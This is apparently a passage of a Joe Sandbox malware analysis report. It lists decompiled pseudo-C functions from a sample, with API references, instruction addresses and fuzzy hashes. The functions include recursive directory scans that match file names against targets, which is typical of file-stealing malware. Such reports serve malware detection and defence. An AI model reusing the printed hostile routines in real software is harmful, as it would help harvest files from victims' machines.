					_t120 = _t120 + 4;
					_v16 = _t85;
					_t126 = _v16;
					if(_v16 == 0) {
						_v24 = 0;
					} else {
						_v24 = E00412820(_v16, _t126);
					}
					 *((intOrPtr*)(_v20 + 0x48)) = _v24;
				}
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0xc)) = E004124D0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x10)) = E00411D30;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)))) = _v20;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)) = 8;
				 *((char*)( *((intOrPtr*)(_v20 + 0x48)) + 8)) =  *((intOrPtr*)(_v20 + 0x6c));
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((short*)( *((intOrPtr*)(_v20 + 0x48)) + 0xe7e)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6af70)) = 0;
				E0040EE40( *((intOrPtr*)(_v20 + 0x48)), _v20 + 0x94, 0x4000, 1);
				E0040D3E0( *((intOrPtr*)(_v20 + 0x48)), _a4 + 0x2a);
				E0040F400( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)),  *((intOrPtr*)(_v20 + 0x48)),  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)), _a4 + 4);
				_v12 = E0040FED0( *((intOrPtr*)(_v20 + 0x48)));
				 *((intOrPtr*)(_v20 + 0x90)) = _v12;
				_v8 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) != 0) {
					_v8 = 0x5000000;
				}
				return _v8;
			}

0x004126c6
0x004126d0
0x004126d7
0x004126dc
0x004126df
0x004126e2
0x004126e6
0x004126f5
0x004126e8
0x004126f0
0x004126f0
0x00412702
0x00412702
0x0041270b
0x0041271b
0x00412728
0x00412738
0x00412740
0x00412753
0x0041275c
0x0041276e
0x0041277b
0x0041279d
0x004127b3
0x004127d3
0x004127ea
0x004127f3
0x004127f9
0x0041280d
0x0041280f
0x0041280f
0x0041281c

APIs

new[].LIBCMTD ref: 004126D7

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: new[]
String ID:
API String ID: 4059295235-0
Opcode ID: f0c354d6a006c936206ac7ca2d248248363bc37bb4fef5c27d99df915ed07fc8
Instruction ID: cd1ca467f745775c49e65de816ee14feca223336516a1e1b065537540cc1f66d
Opcode Fuzzy Hash: f0c354d6a006c936206ac7ca2d248248363bc37bb4fef5c27d99df915ed07fc8
Instruction Fuzzy Hash: 464121B4A00209DFCB04DF98D894AAFB7B1FF48308F1445A8D9156B392D775AD81CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040B800, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040B800(void* __ecx, intOrPtr _a4, signed int _a8) {
				void* _t6;

				E0040B6E0(__ecx, _a4, 0, 4);
				_t6 =  *0x41aa00(0, _a8 | 0x00008000, 0, 0, _a4); // executed
				if(_t6 < 0) {
					return 0;
				}
				return 1;
			}

0x0040b80b
0x0040b824
0x0040b82c
0x00000000
0x0040b832
0x00000000

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 7dabddc535b1521361b8b435bbf1ddc45b089c7bee7ac325d32e59211b7abb51
Instruction ID: 0ab7b82535674e4fbb5b1dba706ca65c6e75be8480545590d4a1993878fbba4f
Opcode Fuzzy Hash: 7dabddc535b1521361b8b435bbf1ddc45b089c7bee7ac325d32e59211b7abb51
Instruction Fuzzy Hash: 53E0EC7138430876FA009E91CC07F96375CEB81B94F10D025F6095F2D0C6B5E4018BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF50, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040BF50(void* __ecx, void* __eflags, intOrPtr _a4) {
				char _v1004;
				void* _t7;

				E0040B720( &_v1004, 0x3e8);
				_t7 =  *0x41aa00(0, _a4, 0, 0,  &_v1004); // executed
				if(_t7 < 0) {
					return 0;
				}
				return  &_v1004;
			}

0x0040bf65
0x0040bf7b
0x0040bf83
0x00000000
0x0040bf8f
0x00000000

APIs

SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 1bd841de2358f0308ca034f2202068ea6a9c5557430d8bd3cb65c985106ef6dc
Instruction ID: 828d8efed70abcfa93dfe9fa816d608990fe47316e4c86ad602d76c3eaa1248a
Opcode Fuzzy Hash: 1bd841de2358f0308ca034f2202068ea6a9c5557430d8bd3cb65c985106ef6dc
Instruction Fuzzy Hash: DCE04F30A403486BE791DB61CC96FAA736CDB40B41F0042A5AA0CE70C0EB74AB844BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB70, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BB70(CHAR* _a4) {
				signed int _v8;
				intOrPtr _v12;
				long _t9;

				_t9 = GetFileAttributesA(_a4); // executed
				_v8 = _t9;
				if(_v8 == 0xffffffff || (_v8 & 0x00000010) != 0) {
					_v12 = 0;
				} else {
					_v12 = 1;
				}
				return _v12;
			}

0x0040bb7a
0x0040bb80
0x0040bb87
0x0040bb9a
0x0040bb91
0x0040bb91
0x0040bb91
0x0040bba7

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2363b84a69cfc72fd913baae1d07e59ffa601f8f039b52318538f12ef929954e
Instruction ID: 1b9edab68d2826b5b0131880a6de751a29faeb60b77424e98d3c12436ca3350d
Opcode Fuzzy Hash: 2363b84a69cfc72fd913baae1d07e59ffa601f8f039b52318538f12ef929954e
Instruction Fuzzy Hash: 9FE08670C0130CEBCB00DF98C4596ADBB74EB01311F1086A5D805777C0D3346A958B89

Uniqueness

Uniqueness Score: -1.00%

Function 00407150, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407150() {
				struct HINSTANCE__* _t1;
				int _t2;

				_t1 =  *0x41a82c; // 0x60900000
				_t2 = FreeLibrary(_t1); // executed
				return _t2;
			}

0x00407153
0x00407159
0x00407160

APIs

FreeLibrary.KERNEL32(60900000,?,0040AC48,0041A838,00000004), ref: 00407159

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3c469c4b1ea8764b2b68c86691d259717a335f89d152652d8da5e42c42c8c371
Instruction ID: c18c80ed03d6f96970b2a2d4c6f4e5bc6079d0552be612c81990cf585a03ea73
Opcode Fuzzy Hash: 3c469c4b1ea8764b2b68c86691d259717a335f89d152652d8da5e42c42c8c371
Instruction Fuzzy Hash: 78B0127100130887850067E8BD088F133DCD70C6143008021F10883511C675F420C79A

Uniqueness

Uniqueness Score: -1.00%

Function 00470920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00470929

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 97ba61691119ac6c143e35c22e187454724cf2f5840cc222c11bd32825f4c7c2
Instruction ID: 81cc2d85be0b363c656950924f38b6f44aec89e449adb5a9cb9224a94380d57e
Opcode Fuzzy Hash: 97ba61691119ac6c143e35c22e187454724cf2f5840cc222c11bd32825f4c7c2
Instruction Fuzzy Hash: 8B90047034415C11DD3435DC0C11F0501015745774F3007317130DD1D4DC4055003315

Uniqueness

Uniqueness Score: -1.00%

Function 00401200, Relevance: 1.3, APIs: 1, Instructions: 41
stringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401200(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _t19;
				void* _t21;

				_t21 = __ecx;
				E0040B720( &_v268, 0x104);
				if(_a4 == 0) {
					E0040B800(_t21,  &_v268, 0x1a); // executed
				} else {
					E0040B800( &_v268,  &_v268, 0x1c); // executed
				}
				 *0x41aa24( &_v268, _a12);
				_t19 = E00401090(0x41401a,  &_v268, _a16, _a12, _a8, _a20); // executed
				return _t19;
			}

0x00401200
0x00401215
0x0040121e
0x0040123c
0x00401220
0x00401229
0x0040122e
0x0040124f
0x00401271
0x0040127c

APIs

lstrcat.KERNEL32(?,00676230), ref: 0040124F

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: FolderPathlstrcat
String ID:
API String ID: 1210066190-0
Opcode ID: 8ae409c9eddae1283d8afacf39b694ab588fcb2dc64fff85c75ccb8f794526ef
Instruction ID: cfc0bd62f74829034cc612df4b91494a0f9e0e0b10b915aa4a7ff2bfd0458b58
Opcode Fuzzy Hash: 8ae409c9eddae1283d8afacf39b694ab588fcb2dc64fff85c75ccb8f794526ef
Instruction Fuzzy Hash: B1013BB690410C67C750EF54DC41FDA737C9B58704F00419AFA88A6191EA74D6D48BE6

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB00, Relevance: 1.3, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BB00(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _t20;

				_v12 = 0;
				if(_a4 != 0 && _a8 != 0) {
					_t20 = LocalAlloc(0x40, _a8 + 1); // executed
					_v12 = _t20;
					if(_v12 != 0) {
						_v8 = 0;
						while(_v8 < _a8) {
							 *((char*)(_v12 + _v8)) =  *((intOrPtr*)(_a4 + _v8));
							_v8 = _v8 + 1;
						}
					}
				}
				return _v12;
			}

0x0040bb06
0x0040bb11
0x0040bb22
0x0040bb28
0x0040bb2f
0x0040bb31
0x0040bb43
0x0040bb59
0x0040bb40
0x0040bb40
0x0040bb43
0x0040bb2f
0x0040bb63

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040BB22

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 59c22aaaf481a5e73130053204e89e0f4c4328cf6ab88a5961ea77c9d8a03016
Instruction ID: d2dc0f40cf47e9cb47180f4b02217863d9778fd5b581b80cec30292b74c0770f
Opcode Fuzzy Hash: 59c22aaaf481a5e73130053204e89e0f4c4328cf6ab88a5961ea77c9d8a03016
Instruction Fuzzy Hash: 8301FB7090420CEBCB05DF98C595BACBBB1EF05308F24C1A9D9196B784C3786F94DB8A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00478A30, Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 337fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00478A49
FindFirstFileA.KERNEL32(?,?), ref: 00478A60
StrCmpCA.SHLWAPI(?,00414010), ref: 00478A86
StrCmpCA.SHLWAPI(?,00414014), ref: 00478A9C
FindNextFileA.KERNEL32(000000FF,?), ref: 00478E25
FindClose.KERNEL32(000000FF), ref: 00478E3A

Strings

zg, xrefs: 00478BAA, 00478BAF

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: zg
API String ID: 180737720-3795317019
Opcode ID: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction ID: 13d83a2b4e0c8d336f57f5e4f5d16501167e8cabe870846ae5e48558604e076b
Opcode Fuzzy Hash: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction Fuzzy Hash: 3DD10CB2500109ABCB14DF99DD84EEB73BDAF8C704F04869DB60D93150EA34EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00476090, Relevance: 30.2, APIs: 20, Instructions: 215filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004760AD
FindFirstFileA.KERNEL32(?,?), ref: 004760C4
lstrcat.KERNEL32(?,?), ref: 004760EC
StrCmpCA.SHLWAPI(?,00414010), ref: 0047610C
StrCmpCA.SHLWAPI(?,00414014), ref: 00476122
FindNextFileA.KERNEL32(000000FF,?), ref: 00476361
FindClose.KERNEL32(000000FF), ref: 00476376

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction ID: e08f361280717ec4b4d5f405ca615f8bd815beb1ce1fcd4a351ea0c931271733
Opcode Fuzzy Hash: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction Fuzzy Hash: B18181B6900208AFCB24DFA4CC48DEA73B9EF88741F44C6D9F50E96141E7789A94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 004714D0, Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 134fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004714E9
FindFirstFileA.KERNEL32(?,?), ref: 00471500
StrCmpCA.SHLWAPI(?,00414010), ref: 00471526
StrCmpCA.SHLWAPI(?,00414014), ref: 0047153C
FindNextFileA.KERNEL32(000000FF,?), ref: 0047169B
FindClose.KERNEL32(000000FF), ref: 004716B0

Strings

xbg, xrefs: 0047162E, 00471633

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: xbg
API String ID: 180737720-566107428
Opcode ID: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction ID: 3620e7c7fbfc09d3f22f261525fb566d8c37ee36521639ae07f0c48cf587cc38
Opcode Fuzzy Hash: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction Fuzzy Hash: A95184B2500218ABCB14DFA5DD48EEA73BCBF88704F048599B60D92150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00479BC0, Relevance: 28.6, APIs: 19, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00479BD9
FindFirstFileA.KERNEL32(?,?), ref: 00479BF0
StrCmpCA.SHLWAPI(?,00414010), ref: 00479C16
StrCmpCA.SHLWAPI(?,00414014), ref: 00479C2C
FindNextFileA.KERNEL32(000000FF,?), ref: 00479D70
FindClose.KERNEL32(000000FF), ref: 00479D85

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction ID: d04d7514eb5e31dbf64f692b695add55c3f7ab1b294ebdb63e80bcd4e0b76d90
Opcode Fuzzy Hash: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction Fuzzy Hash: 71415AB2510218ABCB20DFA0DD48EEA77BCBF4C705F048599B70992150E779EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x677ba0
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x678778
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x677b10
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x677be8
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\*, xrefs: 004096ED
%s\%s, xrefs: 00409766
{g, xrefs: 004098A3

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*${g
API String ID: 180737720-4176451412
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004712E0, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 004712ED
wsprintfA.USER32 ref: 00471307
FindFirstFileA.KERNEL32(?,?), ref: 0047131E
StrCmpCA.SHLWAPI(?,00414010), ref: 00471344
StrCmpCA.SHLWAPI(?,00414014), ref: 0047135A
FindNextFileA.KERNEL32(000000FF,?), ref: 00471423
FindClose.KERNEL32(000000FF), ref: 00471438

Strings

xbg, xrefs: 004713B0, 004713B6

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: xbg
API String ID: 2809309208-566107428
Opcode ID: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction ID: 01799297fb56d3a0f81c6e3f0240ce44d5d513a90c1838a5f046d8f1b44e89f0
Opcode Fuzzy Hash: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction Fuzzy Hash: 003175B6500218ABCB10DFA0DD88EEA77BCBF4C705F00C59AB60992550DB78DB94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00479930, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00479949
FindFirstFileA.KERNEL32(?,?), ref: 00479960
StrCmpCA.SHLWAPI(?,00414010), ref: 00479986
StrCmpCA.SHLWAPI(?,00414014), ref: 0047999C
FindNextFileA.KERNEL32(000000FF,?), ref: 00479B9A
FindClose.KERNEL32(000000FF), ref: 00479BAF

Strings

{g, xrefs: 00479AF3, 00479AF8

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: {g
API String ID: 180737720-4214014042
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: f71743fa7767a8d70b8d72a57e75c7be5440ab07c14f4a1b2c1a7deabc52efd3
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: 0A81ECB2500209ABCB14DF99DD84EEB73BDAB8C700F04869DB60D93251E634EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00479D90, Relevance: 18.2, APIs: 12, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00479DA9
FindFirstFileA.KERNEL32(?,?), ref: 00479DC0
StrCmpCA.SHLWAPI(?,00414010), ref: 00479DE6
StrCmpCA.SHLWAPI(?,00414014), ref: 00479DFC
FindNextFileA.KERNEL32(000000FF,?), ref: 00479FE8
FindClose.KERNEL32(000000FF), ref: 00479FFD

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction ID: b46627b025231762263436ec8884053675fa4f082921fd349c6e77115a939f22
Opcode Fuzzy Hash: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction Fuzzy Hash: 5B6164B2900108ABCB14EFA4DC85EDB73BCAF48704F04C599F61D92151EB75EA98CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0047B050, Relevance: 15.1, APIs: 10, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0047B060
RtlAllocateHeap.NTDLL(00000000), ref: 0047B067
